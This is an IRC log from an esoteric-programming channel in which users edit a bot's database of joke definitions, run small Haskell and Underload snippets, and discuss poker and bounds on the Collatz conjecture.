le//rn null pointer//It is a chronic disease, which mostly plagues Java 20:18:36 Learned 'null pointer': It is a chronic disease, which mostly plagues Java 20:18:54 le//rn null pointer//A null pointer is a chronic disease which mostly plagues Java. 20:18:57 Relearned 'null pointer': A null pointer is a chronic disease which mostly plagues Java. 20:19:09 ? java 20:19:10 Java is a programming-language shaped collection of misfeatures. 20:19:15 ? C 20:19:16 C is the language of��V�>WIד�.��Segmentation fault 20:19:19 ? C++ 20:19:21 Along with C, C++ is a language for smart people. 20:19:22 ? C# 20:19:23 C Pound is Java's good twin. 20:19:28 ? C 20:19:29 C? ¯\(°​_o)/¯ 20:19:32 ? C£ 20:19:33 C£? ¯\(°​_o)/¯ 20:19:41 ? O 20:19:42 o is a popular comedy adventure fantasy webcomic. It's about a group of adventurers, heroes or warriors (whatever you want to call them) called the Order of the Stick, as they go about their adventures with minimal competence or knowledge of what they are doing, and eventually sort of stumble into a plan by an undead sorcerer to conquer the world, 20:19:48 ? void 20:19:49 void? ¯\(°​_o)/¯ 20:20:04 Stop it. Nondestructive bot spam in /msg 20:20:30 le//rn void//Nothing to see here 20:20:32 Learned 'void': Nothing to see here 20:20:36 Ok I'll stop 20:23:35 Remavas! You ticked off the shacaf! 20:23:38 shachaf* 20:23:43 ? shachaf 20:23:44 Queen Shachaf of the Dawn sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. He doesn't know when to stop asking questions. 21:28:12 [wiki] [[Special:Log/newusers]] create * Osmarks * New user account 21:29:09 url 21:29:10 https://hackego.esolangs.org/fshg/ 21:30:46 Just stop editing HackEgo. All your edits are making it worse. 21:33:10 how? 21:41:23 -!- contrapumpkin has quit (Ping timeout: 260 seconds). 21:42:34 -!- Remavas__ has joined. 21:42:40 -!- Remavas-2 has joined. 21:42:41 -!- Remavas-2 has quit (Excess Flood). 21:44:11 -!- Remavas has quit (Ping timeout: 260 seconds). 21:44:46 -!- Remavas-Hex has quit (Ping timeout: 260 seconds). 21:45:24 If making poker game on computer you could have, - to fold, 0 to call, and you can type in other numbers to raise; you can then push enter afterward. (In a fixed-limit game, you could do it differently so you don't have to push enter afterward, since you cannot choose the amount of raise in that case.) Some kinds (such as draw poker and Pandante and One Poker) will involve other choices too, other than only betting. 21:47:33 I have read somewhere two people they played chess match of several games, and then after chess match is finish, to play poker with the points they have won in chess (using betting units much smaller than one point of chess). 21:54:11 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51713&oldid=51676 * Osmarks * (+196) 21:54:38 [wiki] [[Turi]] N https://esolangs.org/w/index.php?oldid=51714 * Osmarks * (+1135) Created page with "Turi is a simple, useless programming language with one-letter commands. The accumulator is initialized with 0 and the string accumulator with the empty string. {| class="wik..." 21:56:06 [wiki] [[Turi]] https://esolangs.org/w/index.php?diff=51715&oldid=51714 * Osmarks * (+17) Hopefully fix disappeared pipe character. 21:58:22 -!- hppavilion[1] has joined. 21:59:13 [wiki] [[Turi]] M https://esolangs.org/w/index.php?diff=51716&oldid=51715 * Osmarks * (+1) Fix pipe problem more. 22:00:57 <\oren\> widsom 22:00:59 hthmonoid//hthmonoids hthmonoids hthmonoids hthmonoids hthmonoids hthmonoids ... 22:00:59 -!- erkin has quit (Remote host closed the connection). 22:01:05 <\oren\> widsom 22:01:06 queuestack//Queuestack is when you're confused about whether something should be a queue or a stack, and end up with a complete mess. See https://xkcd.com/954/ . 22:01:31 -!- erkin has joined. 22:02:01 [wiki] [[Turi]] https://esolangs.org/w/index.php?diff=51717&oldid=51716 * Osmarks * (+219) 22:03:05 [wiki] [[Turi]] https://esolangs.org/w/index.php?diff=51718&oldid=51717 * Osmarks * (+13) 22:24:31 -!- augur has quit (Remote host closed the connection). 22:41:32 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 22:48:23 -!- hppavilion[1] has joined. 22:52:48 -!- contrapumpkin has joined. 23:07:47 They said that "No human player will ever beat Cepheus at heads-up limit holdem." But, I did (only by a few points though; it was nearly even; it isn't an ordinary poker format though, but an unusual kind of format I haven't seen elsewhere), even though I am not so good at poker. 23:08:18 is it statistically significant... 23:09:53 Probably not, but I didn't lose at least; it is nearly a tie. (Of course tying isn't winning, but I did win by one point.) 23:11:30 -!- AnotherTest has quit (Ping timeout: 245 seconds). 23:15:14 anyway, I suspect that by "winning" they meant having a long term edge, i.e., actual positive expected value per game. 23:16:56 Yes, probably I guess so. 23:17:35 so that thing is more of an eker than an winner. 23:18:31 Of course it depends on the format. In an ordinary tournament format (if it is a freeze-out tournament; I don't like the idea of rebuys normally), it is deathmatch so if there are only two players, then at the end you either win (you have all of the chips) or you lose (your opponent has all of the chips). 23:30:06 An article on there mentioned the rake taken by the casino, but that only applies to ring games and only when played at a casino. 23:32:42 (Poker, whether tournament or ring game, are probably usually played at a casino anyways, but, it doesn't always.) 23:34:58 (By "ring game" I mean one where something (usually money) that is of value outside of the game is what you bet directly on each hand, rather than using points internal to the game which are not related to the value outside of the game (although buy-ins and prizes are still possible).) 23:44:19 <\oren\> widsom 23:44:24 e-module//E-modules are modules over a web ring. Uaneb invented them. 23:44:45 <\oren\> widsom 23:44:46 cube//Cubes come in all sizes, colors, and materials, but only one shape. The companion cube does not speak, however. 23:44:52 <\oren\> widsom 23:44:53 pk//PK is short for Phil Katz, an infamous player killer of the 1990s whose favorite method of attack was to deflate his enemies. 23:46:38 [wiki] [[User talk:Xav737]] N https://esolangs.org/w/index.php?oldid=51719 * Xav737 * (+79) Start talk page 23:53:21 -!- hppavilion[1] has quit (Quit: Time for a Windows update. Yaaaaaaaaay ರ_ರ.). 2017-04-16: 00:12:03 [wiki] [[Enema]] M https://esolangs.org/w/index.php?diff=51720&oldid=34549 * Xav737 * (+17) 00:13:12 YAY~ 00:13:22 ? sphere 00:13:23 sphere? ¯\(°​_o)/¯ 00:14:33 -!- yabi has joined. 00:24:11 -!- yabi has quit (Quit: Leaving). 00:30:08 -!- boily has quit (Quit: WATERFALL CHICKEN). 01:04:22 <\oren\> TIL the japanese counter 匹 can be used for cerberuses if they're cute enough 01:14:46 -!- augur has joined. 01:31:52 -!- oerjan has joined. 01:35:40 @messages-flow 01:35:40 Unknown command, try @list 01:35:49 darn 01:36:06 @messages-mould 01:36:06 boily said 7h 9m 4s ago: hellørjan. the youtubal “(11)” comes from the eleven video notifications I seem to have cumulated by not watching them. 01:37:05 -!- sleffy has quit (Ping timeout: 255 seconds). 01:44:01 -!- xkapastel has quit (Quit: Connection closed for inactivity). 01:58:54 Maybe it'd be better if I wasn't here. <-- you appear to be in an evil circle of posturing, complaining and self-deprecation, which paradoxically are the main annoyances from you on the channel. 02:05:50 otherwise, i've read that creativity only works properly when you're doing it for your own interest, and not to get confirmation from others. _most_ esolangs don't get much response here, anyway. 02:08:51 -!- sleffy has joined. 02:11:33 ? caine 02:11:34 Caine is a drug administered to the target to reverse the effects of other drugs. 02:12:31 *sigh* 02:13:52 url 02:13:53 https://hackego.esolangs.org/fshg/ 02:14:08 learn Caine is a target administered to the drug to reverse the effects of other drugs. 02:14:10 Relearned 'caine': Caine is a target administered to the drug to reverse the effects of other drugs. 02:14:28 still not good, but at least slightly less misrepresenting co- 02:14:52 Oh, I thought it was about iocaine powder. 02:15:06 Still not good. 02:15:30 Just look at those last few days of edits. 02:15:57 could do a b_jonas and insert a Vampire: The Masquerade reference instead. 02:16:08 shachaf: DON'T WANNA 02:16:26 except i've never actually played it. 02:17:13 could revert a few daysworth of edits in one command 02:18:00 seems a bit brutal. 02:18:10 especially after my tirade above. 02:18:40 maybe just revert 1 02:18:45 wisdom 02:18:46 natural transformation//A natural transformation is a transformation of something containing no chemicals. 02:18:51 5 w 02:18:57 1/2:plan9//Plan9 is the precursor to Dante's Inferno, home of the Limbo programming language. \ poutine//Poutine was Pouti and boily's sister until the tragic cheese accident. \ war//A lot more young people have gone off to fight in this war than I would have, at that age. \ jwinslow23//JWinslow23 is not here. \ disflagrate//disflagrate v 02:19:06 n 02:19:07 2/2:.t.perf.: a traditional technique from Poland (earliest attestation c. 1042) used to separate szoups. Nowadays, commercial production is entirely mechanized. 02:19:28 i,i what's quote 1042 doing in the wisdom database? 02:19:43 # Indeed not//forget jwinslow23 02:19:45 Forget what? 02:20:07 quote 1042 02:20:09 1042) kmc: you gotta tell me if you're an op 02:20:29 i think kmc deopped himself. 02:21:11 5 w 02:21:16 1/3:watch//Too late! \ clever//Being clever is different from being wise, but they are indistinguishable in sufficiently large quantities. \ works for me//Error: unable to read wisdom database. try again later. \ orodruin//The Orodruin is a mountain heated by earth spirits. Sauron moved to Mordor because boiling water for his morning tea 02:21:19 n 02:21:20 2/3:with the fires of the Orodruin was so convenient. \ sock//Socks are alien larvas planning to take over Earth. They started to teleport into Earthly washing machines through miniature wormholes. The invasion is currently halted, because after 4 billion larvas, they ran out of address space. They are also a protocol for proxying TCP con 02:21:22 n 02:21:23 3/3:nections. 02:21:53 *into* washing machines? 02:22:01 seems contrary to my experience hth 02:22:04 cwlprits sock 02:22:13 b_jonäs 02:22:35 i recall a relevant short story. 02:23:36 shachaf: nah you just notice half of a pair is missing... but are you sure there _was_ a pair... 02:24:23 hm i think there was a youtube performance of it 02:24:27 oerjan: For a while I only had one kind of sock. 02:24:44 All my socks were of that type so I could pair any of them together. It was great. 02:24:49 Now I only have one sock of that type left. 02:24:51 I had dozens! 02:24:55 Where did they go? 02:25:20 Now I only wear my emergency socks, which I got from Google Summer of Code. 02:25:24 They're called GSoCs. 02:25:26 i have noticed that occasionally socks start getting swallowed by holes hth 02:25:46 * oerjan Gswats shachaf -----### 02:26:00 <\oren\> widsom 02:26:13 oerjan: You should gswat the GSoC organizers instead. 02:26:15 They made the socks. 02:26:17 OKAY 02:26:34 ANY GSoC ORGANIZERS HERE? 02:26:41 nope 02:26:45 OKAY 02:26:51 <\oren\> widsom 02:26:52 remava//His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English. 02:26:56 unless fizzie secretly is 02:27:01 <\oren\> widsom 02:27:02 ​¯\_(ツ)_/¯//¯\_(ツ)_/¯ is the ¯\(°​_o)/¯ of urbandictionary 02:27:07 dowg remava 02:27:08 <\oren\> widsom 02:27:09 tanstaaha//tanstaaha, so please stop using them. That would help. 02:27:15 10668:2017-04-15 learn_append remavas His typing skills are so bad, some say he writes in a different orthography, not back-compatible with English. 02:27:34 huh weird. oh. 02:27:44 <\oren\> widsom 02:27:45 firefly//FireFly was a short-running but well-loved sci-fi TV series released in 2003, starring Nathan Fillion and directed and written by Joss Whedon. 02:27:46 ? remavas 02:27:47 Remavas is a revolution in human biology. He's cofriends with oerjan. He's apparently from Frankfurt, Germany, but he's actually from Mars. His typing skills are so incredibly bad, some say he writes in a different orthography designed for a different language. 02:28:02 forget remava 02:28:04 Forget what? 02:28:23 (mistake) 02:28:37 <\oren\> widsom 02:28:38 ehlist//ehlist is update notification for the Everyday Heroes webcomic. http://eheroes.smackjeeves.com/ 02:28:42 <\oren\> widsom 02:28:44 ham//Ham is a kind of meat. It is popular in Hexham, among other places. 02:30:37 cat bin/widsom 02:30:38 f=(find wisdom -ipath "wisdom/*1*" -type f -print0 | shuf --random-source=/dev/urandom -z -n1); if [ -n "f" ]; then echo -n "{f#wisdom/}//"; cat "f"; else echo "That's not wise."; fi | rnooodl 02:31:13  ls -l bin/widsom 02:31:14 lrwxrwxrwx 1 5000 0 6 Oct 28 18:37 bin/widsom -> wisdom 02:31:57 Am not. 02:32:23 Haven't even gotten any free socks. 02:33:27 doag bin/widsom 02:33:42 8635:2016-06-28  ln -s wisdom bin/widsom 02:34:59 Hmm, is fizzie the only Google employee here? 02:35:02 There used to be lots. 02:36:03  rm bin/widsom;; mkx 'bin/widsom//wisdom "@" | sed '"'"'s/\<\([^ ][^ ]$$$$[^ ]$$$$[^ ]$$/\1\3\2/g'"'"
02:36:04  ​/hackenv/bin/: eval: line 4: syntax error near unexpected token ;;' \ /hackenv/bin/: eval: line 4: rm bin/widsom;; mkx 'bin/widsom//wisdom "$@" | sed '"'"'s/\<$$[^ ][^ ]$$$$[^ ]$$$$[^ ]$$/\1\3\2/g'"'"' 02:36:10 argh 02:36:18 ls bin/widsom 02:36:19 bin/widsom 02:36:24 rm bin/widsom 02:36:26 No output. 02:36:54 mkx bin/widsom//wisdom "$@" | sed 's/\<$$[^ ][^ ]$$$$[^ ]$$$$[^ ]$$/\1\3\2/g'
02:36:55  bin/widsom
02:36:59  widsom
02:37:00  biycclic moonid//The biycclic moonid is the free moonid geenrated by two wheels of a biyccle, qutoiented by the retsriction thta the biyccle iteslf is eqaul to the idnetity.
02:38:59  oh it was just the ;;
02:39:03  (maybe)
02:40:07 <\oren\> biycclic moonid
02:40:12 <\oren\> ? biycclic moonid
02:40:12 -!- augur has quit (Remote host closed the connection).
02:40:13  biycclic moonid? ¯$$°​_o)/¯ 02:41:14 <\oren\> ? bicyclic monoid 02:41:15 The bicyclic monoid is the free monoid generated by two wheels of a bicycle, quotiented by the restriction that the bicycle itself is equal to the identity. 02:41:40 <\oren\> widsom 02:41:41 ​\//\ was intiially pouplar as a relpacement for the soildus, but inveitably three was a bakcslash. 02:41:58 <\oren\> widsom 02:42:00 dwof//DWOF is the Dotcor Who Fan Orhcestra, g. 02:42:14 <\oren\> widsom 02:42:16 prceious//prceious? Thta dosen't rign a bell. ¯\(°​_o/)¯ 02:52:25 -!- augur has joined. 02:57:02 -!- augur has quit (Ping timeout: 260 seconds). 03:03:57 ? cofriends 03:03:58 cofriends? ¯\(°​_o)/¯ 03:04:26 ? cofree 03:04:27 cofree? ¯\(°​_o)/¯ 03:04:54  ls wisdom/co* 03:04:55 wisdom/cocoa \ wisdom/cocoon \ wisdom/cocoonspirator \ wisdom/cod \ wisdom/code \ wisdom/codensity \ wisdom/codependency \ wisdom/codo \ wisdom/codoctor \ wisdom/coffee \ wisdom/cofridge \ wisdom/color \ wisdom/colour \ wisdom/comedogenic \ wisdom/comics \ wisdom/comonad \ wisdom/companion cube \ wisdom/compiler \ wisdom/complete heyting algebra \ 03:05:32 ? cofridge 03:05:34 Cofridges are ovens or stoves that are disrespectful towards entropy. They are useful for postparing ffee and oking cofood. 03:06:17 le/rn cofridge logic//Cofridge logic is the new HoTT stuff. 03:06:19 Learned 'cofridge logic': Cofridge logic is the new HoTT stuff. 03:09:46 ? caloric 03:09:48 caloric? ¯\(°​_o)/¯ 03:09:58 ? mpiler 03:09:59 mpiler? ¯\(°​_o)/¯ 03:10:19 le//rn mpiler//An mpiler takes an executable file and nverts it to readable form. 03:10:22 Learned 'mpiler': An mpiler takes an executable file and nverts it to readable form. 03:13:50 le//rn nvert//To nvert something is to revert it back to its previous form, while recording the reversion as a conversion in itself. 03:13:52 Learned 'nvert': To nvert something is to revert it back to its previous form, while recording the reversion as a conversion in itself. 03:13:55 ? undo 03:13:56 undo? ¯\(°​_o)/¯ 03:14:10 ? cododo 03:14:11 cododo? ¯\(°​_o)/¯ 03:14:17 ? mpanion cube 03:14:18 mpanion cube? ¯\(°​_o)/¯ 03:14:22 ? companion cube 03:14:23 There's cake inside it. Tear it apart, rip open your companion, and extract the delicious, delicious cake... 03:14:54 le//rn mpanion cube//Aperture Science has created a talking cube - we call it the mpanion cube, because it's the opposite of the mute companion cube. 03:14:56 Learned 'mpanion cube': Aperture Science has created a talking cube - we call it the mpanion cube, because it's the opposite of the mute companion cube. 03:15:06 ? de 03:15:07 de? ¯\(°​_o)/¯ 03:15:10 ? code 03:15:11 ​[11,11,11,15,15,23,12],[5,5,5,3,53,45,16,26,00,20,15,16,22,25,45,91,32,11,15,27,06,01,11,01,47,22,30,13,43,21,11,13,29,61,65,17,19,12,28,17,11,01,23,20,16,20,81,18,32,25,58,22.,1985,10.301350435,1555466973690094680980000956080767,13720946704494913791885940266665466978579582015128512190078... 03:15:32 le//rn de//De is the counterpart to code, often called the header. 03:15:35 Learned 'de': De is the counterpart to code, often called the header. 03:18:46 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 03:34:09 -!- augur has joined. 03:38:11 -!- Zarutian has quit (Quit: Zarutian). 03:38:43 -!- augur has quit (Ping timeout: 240 seconds). 04:11:43 ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^** 04:11:49 ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**S 04:11:49 ()~(:)!()^!!() 04:12:10 hm something went wrong. 04:12:12 -!- augur has joined. 04:12:17 ^ul (a)()(()~(:))~:(^!!())*~(*)~^**S 04:12:17 ()~(:)^!!()* 04:13:07 oh right 04:13:20 ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**^S 04:13:26 ^ul (a)(!())(()~(:))~:(^!!())*~(*)~^**^aS 04:13:26 () 04:13:32 ^ul (a)()(()~(:))~:(^!!())*~(*)~^**^aS 04:13:32 () 04:13:36 ^ul (a)(:*)(()~(:))~:(^!!())*~(*)~^**^aS 04:13:37 (a) 04:13:43 ^ul (a)(::**)(()~(:))~:(^!!())*~(*)~^**^aS 04:13:43 (aa) 04:16:29 -!- augur has quit (Ping timeout: 252 seconds). 04:17:16 -!- furozo has joined. 04:19:03 -!- furozo has quit (Client Quit). 04:31:02 for learn_append you have to omit the // <-- there's le/rn_append which works more like le/rn. 04:32:23 oh you did use that later 04:32:31 argh food 04:33:23 ? whatever 04:33:24 42! 04:33:27 ? answer 04:33:28 42. 04:33:40  forget whatever; forget 42 04:33:43 Forget what? \ Forget what? 04:33:44 oops 04:33:48 revert 04:33:49 Done. 04:33:55  forget whatever; forget answer 04:33:57 Forget what? \ Forget what? 04:34:00 ? 42 04:34:01 42 is The Answer. Heed it. 04:35:56 ? factorial 04:35:58 Factorials are factories that factor many integers together to rdocscover more long ints. The answer to life, the universe, and everything is frequently purported to be 42, but it is actually 42 factorial (42!). 04:36:32 * oerjan shouldn't do wisdom judgements when hungry 04:36:37 forget factorial 04:36:39 Forget what? 04:36:57 so i'll leave that to my apprentice. 04:37:49 no, i'm retired hth 04:38:01 darth oerjan can find a new apprentice 04:39:07 <\oren\> wisdom 04:39:09 gostak//The gostak distims the doshes. 04:42:11 5 w 04:42:16 1/2:homophone//Homophones are pairs of words that sound totally gay together. \ pineapple//Pineapple is a hybrid species descended from a cultivar of spinach and wild ivy, making it a class 6 vegetable. \ c//C is the language of��V�>WIד�.��Segmentation fault \ skeleton//A skeleton is an unintelligent undead, similar to the zo 04:42:19 n 04:42:20 2/2:mbie but harder to create, because it's lacking most of the body. The best skeletons are made by groups of people, so-called skeleton crews. \ chuchichäschtli//chuchichäschtli is spoken as [ˈχʊχːiˌχæʃːtli] 05:02:12 -!- Warrigal has joined. 05:02:30 -!- Warrigal has changed nick to tswet_t. 05:02:59 So here's the real question. 05:03:25 Consider the function f(n) = the nth positive integer which is not a counterexample to the Collatz conjecture. 05:03:47 Of course, the Collatz conjecture itself is equivalent to the statement that for all n, f(n) = n. 05:03:57 k 05:03:59 But... 05:04:18 Do we even know that f grows at most polynomially? 05:05:02 hm... 05:05:29 It definitely grows at most exponentially, because all powers of 2 are non-counterexamples. 05:05:44 twice a counterexample is a counterexample. 05:05:53 Right. 05:06:45 Maybe all non-counterexamples can be written in the form a*2^b, where a is one of some given set of constants. 05:06:52 nah 05:07:02 Nah, that doesn't sound very possible. 05:09:17 @bots 05:09:17 :) 05:09:45 > iterate (\x -> if x mod 6 == 4 then (x - 1) div 3 else 2 * x) 1 05:09:47 [1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2,4,1,2... 05:09:53 if x == 1 (mod 3), then (x-1)/3 is also a counterexample. 05:10:05 oh wait 05:10:10 > iterate (\x -> if x mod 6 == 4 then (x - 1) div 3 else 2 * x) 3 05:10:12 [3,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196608,3... 05:10:36 > iterate (\x -> if x mod 6 == 4 then (x - 1) div 3 else 2 * x) 5 05:10:37 x == 4 (mod 6), it should be. 05:10:38 [5,10,3,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196... 05:10:44 Hmmm. 05:11:06 Conjecture: this sequence always reaches a multiple of 3? 05:11:10 > iterate (\x -> if x mod 6 == 4 then (x - 1) div 3 else 2 * x) 7 05:11:12 [7,14,28,9,18,36,72,144,288,576,1152,2304,4608,9216,18432,36864,73728,147456... 05:11:24 *shrug* 05:11:33 i am thinking that the 3*x+1 paths in reverse should be enough to fill it out to polynomial. 05:11:52 but unlike the doubling, they have modulus requirements. 05:13:21 gah an annoying sound driving me crazy again 05:15:39 Aha... 05:15:43 https://en.wikipedia.org/wiki/Collatz_conjecture#Rigorous_bounds 05:15:57 "Although it is not known rigorously whether all positive numbers eventually reach one according to the Collatz iteration, it is known that many numbers do so. In particular, Krasikov and Lagarias showed that the number of integers in the interval [1,x] that eventually reach one is at least proportional to x^0.84." 05:16:34 I'm pretty sure that means that, say, n^2 is an upper bound on f(n). 05:17:39 But it apparently we don't actually know that fewer than 100% of all numbers are counterexamples. 05:19:48 hm ok so you need to avoid numbers divisible by 3, because they're inverses never branch out. 05:20:00 *their 05:22:44 6*x+4, 24*x+16 and 96*x+64 become 2*x+1, 8*x+5 and 32*x+21. 05:23:09 is one of those guaranteed to be not divisible by 3... 05:23:59 2*x+1 == 0 (mod 3) => 8*x == -4 (mod 3), so yeah. 05:24:32 so you can always branch out some, as long as you don't hit something divisible by 3. 05:27:00 => 32*x == -16 == -1. 05:27:16 I wonder if Krasikov and Lagarias just discovered an extension of what we're talking about now. 05:27:25 Or maybe they discovered *only* what we're talking about now. 05:27:45 heh 05:28:18 it seems like 2 out of 3 of them will go down to something not divisible by 3. 05:32:31 hmm 05:32:51 well they'd presumably try to improve the exponent. 05:33:16 but i think this is enough to ensure polynomiality. 05:35:54 you can divide up cases into (mod 18) classes, i think, and all that aren't divisible by 3 will branch out in bounded time. 05:37:24 18*x+1 -> 36*x+2 -> 72*x+4 -(1)> 24*x+1 -(2)> 144*x+8 05:38:49 with the last one branshing again after a step, i think 05:39:57 288*x+16 -(3)> 96*x+5 -(4)> 576*x+32 05:41:36 1->2->4->branch/8->16->branch/32==14 05:43:39 ->28==10 which is one of those that goes to divisible by 3 if you branch. 05:45:53 hm, in fact the only one. 05:46:16 because 4, 10 and 16 are the only branch points (mod 18) 05:49:53 ending up at 1, 3 and 5 (mod 6) 05:51:53 2->4->8->16->14->10->2 and 6->12->0 05:52:24 so 2 branches every 6 doublings 05:58:13 ? overflow 05:58:14 Overflow is a phenomenon that occurs when too much water pours into the inner mechanics of a hydrocomputer. 05:59:37 -!- tswet_t has quit (Ping timeout: 260 seconds). 06:01:25 slwd overflow//s,mechanics,tanks,;s,ro,raulic, 06:01:27 overflow//Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydrauliccomputer. 06:01:30 oops 06:01:45 slwd overflow//s,lic,& , 06:01:46 overflow//Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydraulic computer. 06:02:17 rdococ: that was a good one but it needs more authentic terminology. 06:05:43 -!- sleffy has quit (Ping timeout: 240 seconds). 06:06:14 also, https://en.wikipedia.org/wiki/MONIAC 06:08:29 -!- sleffy has joined. 06:14:07 slwrjan sl[ick]navel\darthl 06:14:08 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: slwrjan: not found 06:14:24 swrjan sl[ick]navel\darthl 06:14:26 oerjan//Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaswede who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 06:14:48 ick? 06:15:37 that's not a good darth name, it means nothing when prepending in-! 06:17:01 oerjan the darth decisive 06:20:37 swrjan s,swede,neep, 06:20:39 oerjan//Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaneep who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it. 06:29:39 gcd minBound 0 06:29:45 > gcd minBound 0 06:29:47 error: 06:29:47 • Ambiguous type variable ‘a0’ arising from a use of ‘show_M101340286925... 06:29:47 prevents the constraint ‘(Show a0)’ from being solved. 06:29:55 wat 06:30:13 > gcd minBound 0 :: Integer 06:30:16 error: 06:30:16 • No instance for (Bounded Integer) 06:30:16 arising from a use of ‘minBound’ 06:30:18 > gcd minBound 0 :: Int 06:30:20 -9223372036854775808 06:30:31 :t gcd 06:30:33 Integral a => a -> a -> a 06:30:45 why in the world did that not default? 06:30:56 :t gcd minBound 0 06:30:57 (Bounded a, Integral a) => a 06:32:07 hm same in ghci 06:32:25 oh hm 06:32:48 it's because there's no actual _bounded_ numeric type to default to. 06:33:48 > abs minBound :: Int 06:33:50 -9223372036854775808 06:34:05 * oerjan did not know this. 06:35:18 > signum minBound :: Int 06:35:20 -1 06:35:33 AAAAAAAAAAA 06:36:04 > minBounddiv(-1) :: Int 06:36:07 *Exception: arithmetic overflow 06:37:37 [wiki] [[Special:Log/newusers]] create * Fractalwizz * New user account 06:47:11 ? hydrocomputer 06:47:12 Hydrocomputing is the field of computer programming which studies the computational power of water. 06:47:37 grwp ydr 06:47:52 nu wat 06:47:59 alg. ii:Algae II, the successor class to Algae I. Discusses hydroponics and such. \ b_jonas can't spell:b_jonas can't spell these words: weird, hygiene, etymology, mysterious, Odyssey, myopia, carbohydrate, appearance, maintenance, existence, heard, appropriate; and confuses these sets of words: then, than; drought, draught/draft; couch, coach; dep 06:48:09 2 grwp ydr 06:48:11 2/4:ch, coach; depreciate, deprecate; dilate, dilute, delate; contiguous, continuous. \ hydra:http://www.madore.org/~david/math/hydra0.xhtml , dire: http://www.madore.org/~david/math/hydra.xhtml , theory: http://www.madore.org/~david/weblog/d.2008-03-27.1537.html http://www.madore.org/~david/weblog/d.2008-03-16.1534.ordinaux-et-hydres.htm 06:48:33 n 06:48:34 3/4:l http://math.andrej.com/2008/02/02/the-hydra-game/ https://en.wikipedia.org/wiki/Goodstein%27s_theorem \ hydrocomputer:Hydrocomputing is the field of computer programming which studies the computational power of water. \ hydrogen:Hydrogen is what stars are made of. There's a conjecture that at the immense pressures inside Jupiter or 06:48:42 n 06:48:43 4/4:Saturn, hydrogen might form a superconducting liquid metal. \ overflow:Overflow is a phenomenon that occurs when too much water pours into the inner tanks of a hydraulic computer. 06:50:21  grwp -i -l turing 06:50:22 bitcoin \ bogosort \ church \ linker \ post-turing machine \ rice \ tg \ turing \ turing complete \ wealhtheow 06:50:53  cd wisdom; echo *uring* 06:50:54 metaturing post-turing machine turing turing complete 06:51:08 ? turing complete 06:51:10 You complete a Turing when you Tur by a specified amount. 06:51:16 acceptable. 06:51:47 is it really hth 06:51:56 ? turing 06:51:57 Turing is what you are doing when you Tur 06:52:13 it builds on previous work 06:52:28 slwd turing//s,,., 06:52:29 turing//Turing is what you are doing when you Tur. 06:53:17 ture eonugh 06:53:26 but it doesn't work 06:53:37 nor was the previous work especially wise 06:54:25 ? metaturing 06:54:26 This wisdom entry was crushed by a falling anvil. 06:58:55 ? binary tree 06:58:56 A binary tree is an economical design for a computer built into a tree. 06:59:07 forget binary tree 06:59:08 Forget what? 06:59:12 THAT MAKES NO SENSE 06:59:44 nor does it contain a joke that i could discern. 07:00:09 gibberish pibberish 07:01:00 ? pointer 07:01:01 A pointer is someone who points, usually towards someone or something else. 07:01:29 forget pointer 07:01:30 Forget what? 07:02:00 ? null pointer 07:02:01 A null pointer is a chronic disease which mostly plagues Java. 07:05:37 learn A pointer is a dog bred to follow instructions. 07:05:39 Learned 'pointer': A pointer is a dog bred to follow instructions. 07:06:41 -!- erkin has joined. 07:13:43 le/rn null pointer//Null pointers were invented despite having no reason to exist. 07:13:46 Relearned 'null pointer': Null pointers were invented despite having no reason to exist. 07:35:18 -!- sirnaysayer has quit (Ping timeout: 255 seconds). 07:38:33 -!- sleffy has quit (Ping timeout: 258 seconds). 07:38:53 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 07:41:32 le/rn null pointer//Null pointers were bred to be more exceptional than other pointers. However, the whole effort went nowhere. 07:41:34 Relearned 'null pointer': Null pointers were bred to be more exceptional than other pointers. However, the whole effort went nowhere. 07:44:55 -!- sirnaysayer has joined. 07:46:28 hmph my golf design seems thwarted by the fact >>= contains an = character 07:47:12 What golf design is that? 07:47:15 so it's in a bind 07:49:10 * oerjan feels secretive 07:49:40 -!- sirnaysayer has quit (Ping timeout: 258 seconds). 07:52:02 -!- sirnaysayer has joined. 07:55:27 > "this is a demonstration"<id>>=flip idwords 07:55:30 ["this","is","a","demonstration"] 07:56:17 zzo38: for quining purposes, i need a way to use the contents of a string that is at the beginning of a standalone expression. 07:56:52 with no imports or other top level definitions. and the only ways i have found to that involve using the >>= operator. 07:56:56 *to do that 07:57:33 ok, there's also a very theoretical way of using lookup, if you don't mind waiting until the heat death of the universe. 07:57:57 this one goes to 11 07:58:00 @where pi_11 07:58:00 [show(foldr(\k a->20*100^n+a*kdiv(2*k+1))0[1..[4,8..]!!n])!!n|n<-[0..]] 07:58:13 @where pi_10 07:58:13 (!!3)<>transpose[showfoldr(\k a->2*10^2^n+a*kdiv(2*k+1))0[1..2^n]|n<-[0..]] 07:59:23 however, there are also character restrictions and it would have been better if i could do this without using the = character. 07:59:38 of course my design is nowhere near fleshed out yet. 08:13:42 -!- AnotherTest has joined. 08:23:16 speaking of golf, I can't seem to find any chess player with readable source 08:24:38 debian's default is “fairymax”, which turns out to be a golfed C program 08:25:48 gnuchess 6 is actually the fruit engine with some extra code added to make it backwards compatible with gnuchess 5 08:27:26 The best chess AI seems to be Stockfish, although I have not seen the code so do not know how readable they are. I also do not know if it is what you are looking for, or if you need xboard protocol, or whatever 08:27:51 